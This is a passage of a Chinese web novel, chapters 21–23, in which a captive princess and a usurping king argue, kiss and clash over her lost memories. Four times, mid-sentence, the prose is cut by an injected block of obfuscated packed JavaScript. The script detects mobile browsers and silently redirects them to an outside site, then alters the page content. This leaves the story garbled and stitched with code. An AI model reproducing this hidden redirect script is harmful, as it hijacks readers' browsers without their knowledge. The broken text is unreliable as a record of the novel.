但柳忆春只是面无表情地神游天外,对周围环境没有分出一丝注意力,于是胡峯的愿望最终只得落空。 二人并未立刻离开,柳忆春拉着沈雍隐在暗处的回廊里,等着看里面的那些大人会如何反应。 果然,没一会儿,大殿便如泄洪的堤坝一般,一群年轻的、年老的男人们争前恐后地跑了出来。 更有甚者,三两同盟互相搀扶着,面色苍白,捂嘴欲呕,跌跌撞撞地朝外走去,连话都顾不得说上一句。 这些人心理素质是不是太差了些? 柳忆春在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593852|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐完之后又开始嫌弃,沈雍留着这些人真的有用吗? 她转头看向身侧之人,拉拉他的袖子示意离开,却见他眉头皱着,盯着一个方向不知在看什么。 柳忆春顺着他的视线看过去,只见角落里有两个人影正一前一后分开走着,方才似乎在交谈什么。 与方才那些慌慌张张的人不同,他们步履沉稳,看不出半点惶恐之态,显然不是常人。 啧,看来还是有麻烦隐在暗处啊。 谋朝篡位的王,可不好当哦。 察觉到她的目光,他侧目望向她。 “饭菜可合你胃口?” 柳忆春点点头,“挺好的,就是有些凉了。” 沈雍忽地轻笑一声,她竟还认真点评起来了。 该怎么说她好呢? 人头遍地摆着,尸体死不瞑目着,竟还能面不改色地品尝美食,别以为他没有注意到她兴奋地抓着筷子挨个洗劫菜碟的样子。 真是个心大的姑娘。 “热闹也看够了,走走吧。” 说着,他牵着柳忆春的手往后宫走去。 尉迟丰与银画仍在后面跟着。除了他们,明处有大批士兵把守着皇宫,暗处还有些精锐为他们的安全保驾护航。 走着走着,他们渐渐与尉迟丰和银画拉开距离,一高一矮两个身影兀自在月色下漫步。 “胆敢在大殿上寻死,胆子肥了?”他语中暗含责备,却是带着笑的。 柳忆春勾唇仰头看他,虽然她的确这么打算,但也有预感在他眼皮子底下很难得逞,于是开口回击。 “给了你一个借口直接杀掉那老贼,你不满意?” 沈雍失笑,“你认识他吗?就敢叫他老贼。” 柳忆春:“嘁,一口一个贱民,也不知道他吃的饭、穿的衣、住的屋子都是从哪来的,难不成是他这个口口声声大义和皇室威严的人用嘴造出来的?” “这样的迂腐老头子,还能当上太傅,那老皇帝确实不行。” 听见她这样骂自己的父亲,沈雍看她的眼神不禁变得有些奇怪。 柳忆春也察觉到了他打趣探究的眼神,不耐地挣开了他的手。 “我不是和你说过了吗?我不是公主,骂骂他们怎么了?” 沈雍失笑,没有理会她“不是公主”这种言论。 “你骂得对,总有人生在锦绣堆里就觉得自己高人一等,忘了这个世界究竟是由谁创造的。” “没有那些所谓的‘贱民’,这些贵族什么也不是。” 他有一搭没一搭地接着说:“那个老太傅的确没什么才能,你父亲当年的老师其实是他兄长,但你父亲不爱被人约束,便把满腹经纶的兄长换成了不学无术的庶弟。” “身无长处、只能依附他人获得权力的人,自然是最不愿意见到旧主垮台的......” 柳忆春也没有与他一口一个的“你父亲”较真,倒是对他的很多观念颇为震惊。 一个古人,能这么看重劳动人民,着实不容易。 她忍不住问他:“你不也生在锦绣堆里吗?你怎么这么不一样呀?” 传承两百年的镇国公府,家族里积累了多少财富她都不敢想。 听见她的问题,沈雍忽地停下脚步,转而向她一步步逼近。 柳忆春不解地睁大眼睛,一点点被他逼到宫墙之下。 只见他忽地发出一声冷笑,意有所指地说道: “我的确出生在锦绣堆里,但后来也被人硬生生踩进了泥里,不是吗?” 21. 亲吻 柳忆春对上他骤然变冷的眼神,有些说不出话来。 敢情绕来绕去最后又绕到了“她”身上。 “说起来,你该不会以为我是为了逃避责任,所以假装什么都不记得了吧?” 她歪头看他,离得太近,仰头时后脑勺靠到了宫墙上才看清他的脸。 闻言,他轻哼一声,“脑子坏没坏不知道,你很想死倒是真的。” “你!” 柳忆春被气得睁大了眼睛,这种事情怎么能用脑子坏了来形容! 真是一点都不会说话。 她愤愤地推他,这人却像座小山一样纹丝不动。 柳忆春不悦地瞪他,“干什么?” 他完全没有理会她恶劣的语气,反而俯身凑近,直视她明亮的双眼。 再开口时,嗓音暗含蛊惑。 “为什么想死?” 柳忆春停止了动作,转而让身体放松地靠在墙上,一脸无语地迎上他带着审视的眼神。 这人怎么还在纠结这个问题...... 唉,“哪有那么多为什么?” 不甚走心地回了句话,柳忆春便撇开双眼朝一旁望去。 宫道两侧种着整齐的树,暮春时节,枝叶繁茂,已没有半分花的影子。 晚风拂过,将人包裹在树叶的沙沙声里,天地似乎都安静了下来。 沈雍却没再轻轻放过,捏着她的脸颊面向自己,“因为从前过得不开心吗?” 柳忆春一愣,神色变得有些不自然。 怎么说呢,他这个关于公主的猜测倒是变相猜中了她的心思。 见她不答,他又继续问道:“懿春公主不是最受宠爱了吗?怎么会过得不开心呢。” 柳忆春无法回答他这个问题,不由随着他一起呢喃,“为什么呢?” 她的父母其实也很宠她,累死累活赚来的钱,坐个两块钱的公交车都要掂量一下距离看值不值,给她买书却眼睛都不眨地就花了。 她住着那个昏暗狭小的家里最大的房间,他们在生活上极尽照顾她,以至于她直到现在都还不会做饭。 那么为什么她感觉一切都很没劲呢? 高二之后他们对她从肢体上的暴力转变成语言上的暴力,而在她考上大学之后他们连语言上的暴力都渐渐收敛了。 他们会在外人面前对她极尽夸赞。 “我们女儿很听话很聪明的,小小年纪就能监督自己好好学习,考上这么好的大学我们都很为她骄傲的!” “哎呀我们其实也没什么教育的秘诀,不打她不骂她,顶多就是在生活上多照顾她一些,孩子听话,自己会主动好好学习的。” 每每对方听到这里,感叹一句自家孩子一点都不乖,对话便结束了。 他们对她越来越好,他们会眼睛亮亮地问她大城市是什么样子的,是不是真的像电视剧里放的那样全是高楼大厦、公共厕所里的地板都比他们家里的好。 偶尔的几次,他们露出期待的表情,还问她能不能带他们去她工作的地方看看。 可她总是无言以对。 应该有哪里不对劲吧? 无数个他们打完她又抱头痛哭说“爱她”的绝望夜晚,无数次玩耍同伴来找她却被爸妈告知她在学习时安静得像地狱的时刻,好像都随着她考上大学而化作一缕烟散掉了。 他们忘了曾绝望地打她、骂她、求她,也忘了那些涨涨跌跌的考试分数给这个家带来的无尽折磨。 病态的教育变成了她自己的上进,闷在家里刷题变成了她自己的选择,不做家务变成了她主动的要求...... 所有的一切,他们都巧妙地“忘了”,只有她一个人记得。 也只有她一个人,仍带着那些烙印继续生活。 她被整个世界抛弃了。 作为一个空心人,她除了考试什么都不会,直到想走出那个无形的牢笼时,她才发现自己不仅提不起力气,还不知道该从何下手。 最后,所有的情绪都化为一股深深的无力,无力久了,又演变成对自己的愤怒—— 为什么你不能像别人一样开心?看看别人的生活多么幸福、多么正常,世界上只有你一个人烂成了这样! 开心? 开心,已经是一个离她非常遥远的词汇了。 见她变得恍惚、沉默,沈雍松开了对她脸颊的钳制,转而拉着她的手继续向前走去。 柳忆春渐渐回神,顺着他的力道并肩同行。 宫道内只余脚步声窸窣。 “说起来,你以前和公主很熟吗?公主为什么要害你啊?还有,一个后宫公主这么轻易就能干涉前朝政事吗?” 没走几步,柳忆春情绪平复,忽地将心中的疑惑一股脑倒了出来。 问题太多,沈雍干脆一个都没回答。 “既然不记得,那就不要知道了。” “啧,没意思。” 沈雍不轻不重捏了一下她的手,柳忆春干脆直接把手抽了出来。 不多时,二人到达此行的目的地——昭月殿。 尉迟丰和银画也渐渐跟了上来。 沈雍示意尉迟丰守在殿外,让银画上前陪着柳忆春,他自己则往殿内走去。 昭月殿已被搬空清理出来,摘星高台早已被斩落,比以前冷清很多,只有那棵巨大的银杏孤独地伫立在庭院之中。 银画重回故地,看不出什么喜怒,只在一旁静静候着。 倒是柳忆春,对此全无印象,好奇地四处打量着。 似是冥冥之中自有天意,她不知不觉被这棵巨大的银杏树吸引。 一步步走近,抬手轻触它粗糙的枝干,在柳忆春反应过来之前,她便已爬到第一节侧枝上。 她这个体育废什么时候这么会爬树了? 柳忆春跟随本能指引,忍不住继续往上。 头上珠钗不少,她嫌碍事,一根根摘了往树下丢去。 “公主!” 见她越爬越高,银画再也忍不住,疾声呼唤她。 “您还穿着宫装呢,快下来吧,可别摔了!” 柳忆春却不管不顾,直接凭着肌肉记忆爬到了最高处。 她满意地坐在最高的枝干上,拨开碍眼的细枝往远处望去,静静等着呼吸平复。 眼里则闪着远处细碎的光,不知在想什么。 “你知道这里能看到什么吗?” 银画勉强听清她的问话,不禁想起了从前无数次在树下仰望公主的场景,公主总是沉默不语,如今倒是第一次对她开口。 “奴婢不知,公主快些下来吧。” 柳忆春轻笑一声,细声呢喃了一句。 “什么?公主可以再说一遍吗?” 她的声音太小,银画没有听清。 柳忆春却没再重复,凝神看着远方,一点点从树干上站了起来,得到一个更加没有视线遮挡的角度。 层层宫墙内,唯有这个地方可以遥遥看到一点宫外的景象。 脑海里突然闪现出一副画面:影影绰绰一点街景,每逢节假日便会闪动着攒动的人头,灯火在其中明灭,那是遥远的人间。 这是公主曾经看到过的景象吗? 柳忆春眨眨眼,那处的景象便变成了一辆辆马车慌张地疾驰而过。 想必是方才的那些官员吧。 有趣,但又很无趣。 忽地,一种强烈的意愿驱使着她,好像有件一直想做却没做的事情在等着她。 柳忆春努力分辨,可那一点点隐晦的欲望隐匿在厚重的云层之后,她拨不开,也看不清。 嗯......弄不清楚,那就完全遵循本能吧。 银画像往常一样在树旁安静守着她,不知为何,今日的她总有些心惊肉跳,总觉得公主有些反常。 焦虑的小侍女一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598433|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿抬头确认树上的柳忆春,一会儿转头看向内殿祈祷王上赶紧出来。 忽地,身侧高耸的银杏树突然传来衣角猎猎的破空声,银画担心了六年的画面突然成为现实,她不由得慌张地惊叫出声。 “啊——” “公主!” 身前掠过一阵疾风,有人的速度比她还快。 沈雍刚跨出内殿,见到的就是这样一副令人目眦欲裂的画面—— 宫装美人从树顶翩然坠落。 他下意识上前要接住她,却在飞奔到树下时瞧见一个令人哭笑不得的画面。 她竟双手抱着更低一节的侧枝,将自己吊在枝干上,闭目仰头,裙摆与乌发正翩然垂落。 枉他以为她这次打算跳树寻死! 银画也被吓得瘫坐在地,“公主啊......” 柳忆春没有理会他们,仍在细细感受自己的心跳。 方才那一跃,风声从耳畔疾速呼过,她迅速运用浑身的肌肉攀住另一截树枝,风声停止后,心跳却没有停止,甚至在胸膛里砰砰跳得比方才更卖力。 她好喜欢这种感觉,冒险的、心脏狂跳的感觉! 又一阵晚风吹来,心口一直压抑的一股气仿佛忽地被吹散,与世界之间隔着的那层若有似无的薄膜也消失了。 柳忆春感觉心里一阵轻松,远处吹来的风、耳畔的树叶响声、鼻尖新鲜枝叶的香气都变得愈发清晰。 她睁眼看向树下的两人。 银画正哆哆嗦嗦地爬起来,显然被吓得不轻。 沈雍则立在一旁,呼吸急促,满眼责备,“胡闹!” 柳忆春心情极好,没有理会他们,兀自在吊在树枝上晃动了起来。 宽大的衣袖滑落,露出两截雪白的玉臂。 然而,她没晃几下就被一股大力制住了。 她现在双脚离地不过一人高,沈雍抬抬手便抓住了她的脚。 “下来!” 啧,没劲。 不过她心情好,不与他计较。 柳忆春双手一松,直直从树上往下落。 但这次却没再传来银画惊慌的尖叫,只因她在下一瞬便被一个坚实有力的怀抱紧紧环住。 是沈雍。 柳忆春在被接住时下意识调动全身肌肉,宛如一只雍容华贵的蝴蝶般轻飘飘落入他的怀中。 发丝飞舞,有几缕轻轻扫过沈雍脸颊,又匆匆逃开。 确定她安全无虞,沈雍忍不住开始教训她,语气很冲。 “从这么高的地方随随便便跳下来,死了还算好,要是摔个半残,下半辈子只能困于宅院,便溺失控,你就开心了吗!” 柳忆春被骂得一愣,难得听他对她说这么长的话。 不是冷言嘲讽对她还没折磨够不准她死,也不是冷冰冰地宣判她还有用所以不让她死,竟是站在她的角度,真的在担心她。 她忍不住笑了,笑得灿若春华。 他好像还在说什么,但柳忆春的注意力早已转移。 这张近在咫尺的一开一合的嘴巴,唇瓣不厚不薄,有一些肉感,颜色也稍深,嗯,配上他现在有些生气的俊脸,越看越性感,感觉很好亲的样子。 嗯......有点想亲。 沈雍见她始终毫不在意地笑着看他,更多责备的话也说不出口了。 说来,他从未见她这样笑过。 她总是淡淡的,周身萦绕着些愁,如此肆意的、张扬的笑很难想象会出现在她脸上。 唉,真是上辈子欠她的。 焦急的神色褪去,沈雍的目光逐渐变得幽深。 与她对视着,时间仿若静止。 也许只过了一瞬间,也许过了一辈子那么长,一阵馨香忽地袭来。 沈雍立时僵在原地。 直到唇瓣被怯怯舔舐、轻轻啃咬,他才终于反应过来—— 他居然被她吻了。 22. 拒绝 银画早已识趣地将自己隐匿在墙角的阴影之中。 沈雍瞳孔地震,垂眸看向始作俑者。 怀中的人蜷翘长睫轻颤,柔柔的呼吸一浪一浪地喷薄在他颊上。 她纤弱的双臂正一点点在他肩颈上收紧,小巧的舌尖仍在不知餍足地往里探。 沈雍心脏狂跳,她怎么敢这样轻薄他! 然而唇瓣上的柔软触感快要将他的心都融化掉,他抱住她的双手怎么也做不出别的动作。 又一阵晚风吹起,身侧的银杏树传来沙沙声响。 沈雍牙关紧咬,柳忆春也没有实践过,几次不得法门便止步于门外徘徊。 她搂住他脖颈的手一点点往上,拂过他露出的颈侧肌肤、耳廓,最终停留在了脸颊上。 轻轻的磨蹭,沈雍突然分不清耳旁的沙沙声究竟来自树叶晃动,还是她的这番缱绻动作。 “嗯哼......” 一声轻柔的闷哼从她的喉间溢出,似是在喟叹。 沈雍似被击中般,发麻的感觉直冲天灵盖。 不知为何,一个不合时宜的念头突然出现在他脑海—— 她是否也曾与驸马如此拥吻? 这个念头一出来,沈雍双手忽地一软。 饶是柳忆春再如何拼命去抓救命稻草,结果除了把沈雍的衣服弄乱以外,半点用处也没有,最终仍是没逃过与地面亲密接触的命运。 咚—— 柳忆春摔倒在地。 “......” 她在哪里摔倒干脆在哪里躺下,如海藻般的长发铺陈一地,眉头紧皱,双颊飞红,眼眸里水光潋滟,仔细一看,是明晃晃的满意与不满。 沈雍一愣,似是也没料到她会这么直愣愣摔倒在地,下意识要去扶她。 然而,下一秒却见她眉头一松,红艳艳的唇瓣间伸出一截舌尖,似回味般轻舔上唇,偏她做这些动作的时候还直愣愣地与他对视。 沈雍喉结轻轻滚动,自尊心将他想去扶她的冲动克制住了。转而收起多余的情绪,冷冰冰地与她回视。 银画听见动静,脑海里天人交战——是过去扶公主呢,还是继续装死呢? 唉,这就是为什么她从前一心盼着出宫,贵人真的很难伺候啊,一不小心还可能掉脑袋。 还好,过了一会儿,柳忆春自己爬了起来。 她懒懒地昂头斜睨沈雍,声音有些沙哑,语气里却是明晃晃的责备。 “你担心我摔下来,可有没有发现,如果不是你,我其实根本不会摔?” 旖旎又怪异的氛围瞬间被打破。 沈雍面色更冷,“收拾好,滚回军营!” 说罢,他率先迈开大步往殿外走去。 银画趁着这时连忙上前帮柳忆春整理衣服、摘掉头发上的杂草,怀里则兜着方才柳忆春随意丢下的珠钗,“公主,我们也走吧。” 柳忆春侧头看了一眼鹌鹑般的银画,没说什么,由她搀着向殿外走去了。 尉迟丰一直守在殿外,对殿内发生的事情一无所知。 此刻看着步履如飞、边走边整理衣服率先走出来的沈雍,又看着紧跟着的步履踌躇、珠钗尽卸、还被银画搀扶着的柳忆春。 面色陡然一红。 这,这,王上出来时冷着一张脸,莫非是又对公主撒气了? 唉,公主娇滴滴一个小姑娘,总是被折磨不说,逮着机会还要被带来这种令人伤心的故地受磋磨。 当真是闻者伤心,见者落泪。 - 一行人回到军营时,夜色已深。 沈雍的主帐却仍未平静。 范卢风与他相对而坐,二人仍在交谈。 “早和你说过了吧,费尽心思让她想起以前的记忆,不见得是件好事。” 沈雍瞥一眼对面随意坐着的范卢风,支着脑袋斜靠在桌案边没有说话。 今晚带她去昭月殿并非一时兴起,从他说出“她不是公主”那番古怪的言论之后,他就想找个机会带她去熟悉的地方探探反应了。 没想到,那么一小会儿的功夫,她就像个猴子一样爬上了那么高的银杏树,还不知死活地直接往下跳。 他好心地接住她,她居然敢做出那等大胆之举! 这之后,自然也再没有心思做什么助她恢复记忆的试探了。 说实话,他现在想起来是有些后怕的。 她身边的那个宫女就曾说过,公主总是爬在很高的银杏树上,但待够了就会乖乖下来。 他只想试试能不能让她想起些什么,可一点都不想看到她像要寻死一般直接往下跳! 沈雍抬眸看向范卢风,“故地重游对她似乎不管用,还有什么方法能刺激她想起来?” 闻言,范卢风长叹一口气。 “你就非得让她想起来?何必呢。” 沈雍不答,执拗道:“你只需要告诉我还有什么办法。” 范卢风也不正面回答他。 “如果她想起来之后,非但不能如你的意,反而还会让你更痛苦呢?” “我知道沈家当年被流放的事情对你造成了不可磨灭的影响,忠臣变成逆贼,族人接连逝世,荣誉、信仰、家人、财富,一夕之间全没了。” “这放在谁身上都是毁灭性的打击,你这么恨也是人之常情。” “可是,除了公主,旧朝皇室已被屠杀殆尽,这还不够你解恨吗?” “就不能让那些恨意彻底翻篇吗?” 沈雍面色紧绷,语调更沉。 “老皇帝临死之际,见到我像见了鬼一样,他跪在地上求饶痛哭,肥胖的身子颤抖得像条母猪。最后被我一刀砍掉脑袋时,那惊恐的表情,我到现在都还记得......” “而她,当年也是帮凶,怎么能把一切都忘了呢?” 语毕,他抬眼望向范卢风,眸子里满满的都是不甘心。 范卢风虽不太清楚当年具体发生了什么事情,但沈雍的态度却明显不太对劲。 未免也在意得太过头了吧? 沉默片刻,他忍不住再次叹了口气。 “且不说当年之事明显就是那老皇帝想找个由头收拾掉沈家,单单看公主检举一事,就未必没有隐情......” 沈雍打断他,“正是因为可能有隐情,我才想让她想起一切。” 再次开口,范卢风的声音里满是对好友的担心。 “沈怀聿啊,你这么在意她,不怕从我这里得到的法子继续伤害她吗?到时候,有你后悔的。” “谁在意她了?” “若最后证明她并非无辜,我会杀了她!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602851|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一记眼刀杀来,范卢风没理他,接着说道: “方才带公主故地重游应该发生了不太好的事情吧?不然你不会大半夜地叫我来提供别的法子。” 沈雍冷着脸,依旧嘴硬,“少说废话,到底有没有?” 范卢风终是轻嗤一声,“得,随你。” “过两日我给你送药丸来,那药服下后夜间会多梦,兴许能刺激她想起一些事情来。” 沈雍听到这,眸光微闪。 范卢风继续说道: “至于想起来的是好事还是坏事,这药可管不了。要是到时候公主想起些不好的事情,又像那天一样心绪剧烈起伏以至于再次寻死,你可别赖在我头上。” “究竟要不要对公主用,自己想清楚。” 沈雍应声,神色不见分毫缓和。也不知究竟是高兴,还是不高兴。 恰在这时,主帐门帘外传来一阵动静,两人的视线一同转去。 竟是柳忆春。 看起来像是刚洗漱完,披着松松垮垮的外衣,趿着鞋,抱着枕头,就这么大剌剌、熟门熟路地走进了沈雍的主帐。 范卢风与沈雍俱是一愣。 见她对自己柔柔地微笑示礼,范卢风很快反应过来,也对她颔首示意。 紧接着,只见她无视掉了身边的沈雍,直接走向屏风背后。 这道屏风他上次来的时候还没有,不过很显然,屏风后就是沈雍晚上睡觉的地方。 “滚出去!” 身侧的沈雍语气沉冷,紧皱着眉头朝她的身影看去。 柳忆春却充耳不闻,依旧往内走着,脚步甚至加快了几分。 女中豪杰啊! 范卢风被惊大了眼睛,张着嘴巴缓缓朝沈雍看去,只见他的脸色臭得能拧出水,却未有别的举动。 这一幕的信息量过大,他觉得自己好像发现了不得了的事情。 “你,你们......” 沈雍暂且不管柳忆春,转而将骇人的目光移到范卢风身上。 范卢风立马就噤了声。 然而就在沈雍打算下逐客令的时候,范卢风突然朝他夸张地挤眉弄眼,眼神在他小腹处与屏风后来回流连。 根本不用猜,沈雍知道这人脑子里在想什么。 “......” 他没好气地对他说:“你也给我滚出去。” 闻言,范卢风瞬间瞪大了眼睛,状似心碎地捂住心口,对他比口型:“你叫我滚?” 沈雍受不了他这幅蹬鼻子上脸惺惺作态的样子,沉着脸慢吞吞觑他一眼,谁都能读出他的意思。 范卢风也不敢太过分,一边往外退,一边装作恍然大悟的样子朝他喃喃道:“毫不在意,好一个毫不在意啊......” 最终,凭借着经验,他终是赶在沈雍拿东西砸他之前成功退出帐外。 啧,那药最终会不会给公主用呢? 真是好难猜哦。 目送范卢风离去,沈雍静静地长叹一口气。 想起她方才的无礼,他心中很是不悦。 不知她何时有了这么大的胆子,敢在外人面前无视他、下他面子了! 很快,他起身走去内室,解决另一个麻烦精。 这个女人,他不会允许她继续得寸进尺。 23. 怨夫 沈雍无声地望向那个坦然霸占他床榻的纤弱身影。 今晚,这人先是强吻他,又因自作自受摔到了地上,居然还有脸来找他共眠。 来就算了,还偏偏赶在个极为巧妙的时机走了进来。 范卢风那人,必定已经脑补出了八百出戏。 “起来。” 没有动静。 意料之中。 能乖乖听话就不是懿春公主了。 沈雍沉默了几息,随即上前一把将她从被褥间抱起来放到地上,往屏风外一推。 “滚回去!” 柳忆春被他推得趔趄,不死心地回头便是一阵疾风朝她的脸呼来——是她的枕头。 她眼疾手快地接住,沉着脸缓缓朝沈雍抬眼。 呵,男人心,海底针。 前几天眼巴巴拉着她一起睡的是他,现在冷言冷语赶她走的也是他,凭什么? 她就不信了,今晚她偏要睡他的床! 沈雍见她不但不听话,反而又铆起一股劲直往他的榻上去,顿时气上心头。 这一次,他没再收着力道,捏住她的肩往屏风外狠狠一掼。 柳忆春始料未及,被他甩退了好几步,脚步没有跟上,径直跌落在地。 咚—— 伏在地上轻轻抽气,柳忆春好一会儿才慢慢撑坐起来,第一反应是查看率先着地的手肘。 懒得挽起衣袖,她的手臂一抬,宽大的衣袖便自然滑落,露出玉白手肘外侧的一抹红来。 果然破皮了。 柳忆春朝他瞪去,只瞧见沈雍无动于衷、安然如山的样子,气得抄起手边的枕头就朝他砸。 然而不出意外地,攻击被轻松化解。 柳忆春更气,爬起来直冲冲朝他身后走去。 沈雍被她猛地撞开,却没再拦她。 实在不行,他也不是只有这一处可以休息,此处让给她就是了。 暗叹一口气,他下意识回头看她一眼,却见她只是走到衣架旁抄起他的寝衣就走,以一种目不斜视、雄赳赳气昂昂的架势。 闹了半天,就这样走了? 沈雍捉摸不透她要干什么,不自觉地跟在她的身后,路过散落的枕头时,还顺手捡了起来。 西南角的小帐内,银画正欲入睡,却忽然听见一阵怒气腾腾的脚步声,惊得她立马从小榻上爬起来。 “公主,您怎么回来了?” 柳忆春见她睡眼惺忪,朝她挥挥手,“你睡你的。” 银画有些犹豫,下一秒就见沈雍也紧跟着进了帐篷,还扬手丢给她一个脏扑扑的枕头。 “洗干净。” 瞌睡瞬间烟消云散,银画不敢多言,“奴婢遵命。”接过了枕头就往帐外走去。 柳忆春没有理会他们,也没有理会手肘膝侧火辣辣的痛,解下外衣往侧边一抛,又随意地甩飞趿着的鞋子,直直往床上倒去。 没有枕头,就拉过内侧多余的被子随意团了团。 倒是怀中抱着的沈雍的寝衣,一直没有被她松开。 躺下后,她将脸埋入寝衣之中,无不满足地深吸一口气。随即,便以这个姿势静止,似是打算就这样将脸埋在他的寝衣里睡过去。 沈雍瞧着,胸前似乎又传来了前几晚被她轻轻蹭动的痒意。 他不禁深吸一口气,又缓慢呼出来。 这位公主,勾引男人的手段可真不少。 成过婚的女人都像她一样不知廉耻吗? “起来。” 榻上的女人一动不动。 他干脆在床沿上坐下,“起来上药。” 柳忆春依旧没有理他。 沈雍一把抽出寝衣,柳忆春对他怒目而视,终于爆发。 “你烦不烦啊!” 沈雍抬眼,轻飘飘看她一眼,从矮柜里拿过几瓶药膏来,挨个放在床尾处。 柳忆春已背过身去,只留给他一个气呼呼的背影。 看着她缩成一团小小的身影,他心里滋味难辨。 有时候真不知道该怎么对她,稍一纵容她便蹬鼻子上脸,稍一教训又总是把她弄伤。 他沈雍向来不是个欺负女人的人,却偏偏一次又一次有意无意地伤害她。 更让他头疼的是,她根本不爱惜自己身体。 以他这些日子对她的了解,如果没人追着她处理伤口,她可以任由它自行发展,也许会稀里糊涂地痊愈,也许会更坏一步地溃烂。 他其实不喜欢看见伤痕累累的她,公主合该是如珍珠般明净的。 见柳忆春果真不打算听他的话,沈雍干脆直接上手。 掰正她,利索地解她的腰带。 柳忆春一动不动,任他动作,就这么轻飘飘的看着他认真的侧脸。 场景一时有些诡异,明明是一个男人在解一个女人的衣服,可男人神色郑重,女人表情无语,愣是半分旖旎气氛也无。 沈雍将她剥得只剩小衣与寝裤,肘弯的擦伤于是大剌剌地显露出来。 他取来纱布,沾了些水,轻轻将伤口周围的脏污擦去,又仔细为她上一遍药。 想起什么,他撩起她的寝裤,露出两条细白结实的腿,果然见膝盖也磕着了。 处理完这一切,想起什么,他将她翻身侧躺,开始检查她从他怀里落下时是否有摔伤。 他先将手伸向她的后脑,轻声问:“脑袋没撞到吧?” 柳忆春昏昏欲睡,闭着眼睛并不想理他。 他也不在意,一边在她脑后轻轻揉按,一边俯身观察她的表情。 没什么异样。 他继而朝她光裸的脊背看去,除了有些红,也没什么异样。 有些不放心,他再次用大掌一寸寸拂过,用了些力,检查她的背部可有摔伤。 拂至后腰,掌下的躯体忽地开始轻颤,他很快开口询问:“痛吗?这里可是摔伤了?” 柳忆春不耐烦地睁眼看他,“这里不痛,”紧接着反手抓住他继续往下,“这里有些痛。” 掌中传来柔韧绵软的触感,沈雍瞬间僵在原地。 玉山倾颓,理智断线。 今晚第二次了。 他就算曾为她处理过此处的伤口,却是恪守距离,没有故意轻薄她半分。 她岂敢,岂敢! 猛地将手抽出,沈雍眉头紧皱,面色极冷,“你一天不勾引人浑身难受?” 柳忆春无语了,她勾引他? “不是你主动来找我摔到哪里的吗?现在我就是只有屁股还痛啊。” 说着,柳忆春的火气噌噌往上冒,忍不住撑坐起来。 “你这个人是真的很不可理喻,我去找你睡觉,你粗鲁地把我赶走了;现在我回来了想自己睡觉,你又眼巴巴跟上来打扰我。” “你到底想干什么啊?就爱和我作对是吗!” 沈雍额角紧绷,“你!” 柳忆春却收不住一般继续朝他攻击,“嫌我烦你就赶紧滚啊!这里总不能还是该我走吧!” 从来没有人这么和他说过话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622320|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来! 看来还是他太好心了,就不该管她。 沈雍气得面色铁青,唇角轻颤,想起方才那个她主动的吻,沉声回击: “你对所有男人都这样吗?往怀里钻,随心所欲地吻,抓着手放上不该放的位置?” “你置驸马于何地?公主府中可是面首成群?你可是有过数不清的男人?一国公主就这么人尽可夫吗!” 一连串的问题被抛出,连沈雍自己都震惊。 他这些年刻意不去关注她的消息,在刚刚踏上流放之路听见圣上为她和楚珣赐婚时,他就做了这个决定。 直到此刻他才发现,原来他竟如此在意。 在意到,一边窃喜她对他的亲密,一边又为她的漫不经心备受煎熬,以至于,心里在意至极的这些问题,一个没忍住就全都问了出来。 柳忆春也愣住了。 看着对面偏开头、呼吸略快的沈雍,她心头尽是茫然。 这些话问得,怎么他倒像个深闺怨夫似的? 在这个男权至上的时代,如此指责一个天然处于弱势地位的女子,在她看来未免太过好笑了。 而且,他有什么立场来教训她? 柳忆春刚想骂回去,却见他终于回过神般,疾风似的刮出了营帐。 人走了,柳忆春颊边的发丝仍被这阵风吹得飞舞不停。 嘁!真是个捉摸不透的男人...... 没再管他,柳忆春将他方才抽出的寝衣重新抱回怀里,心满意足地把脸埋进去,没一会儿呼吸就变得绵长起来。 他的衣服,比他本人好用多了。 银画其实根本不想在大晚上洗东西,干脆将脏了的枕套取下来丢到一旁的竹篓里,那是专门用来堆放待洗衣物的。 今天已经干了太多活了,侍女也是需要休息的,洗衣服这种事情,还是等到有日光的时候再说吧...... 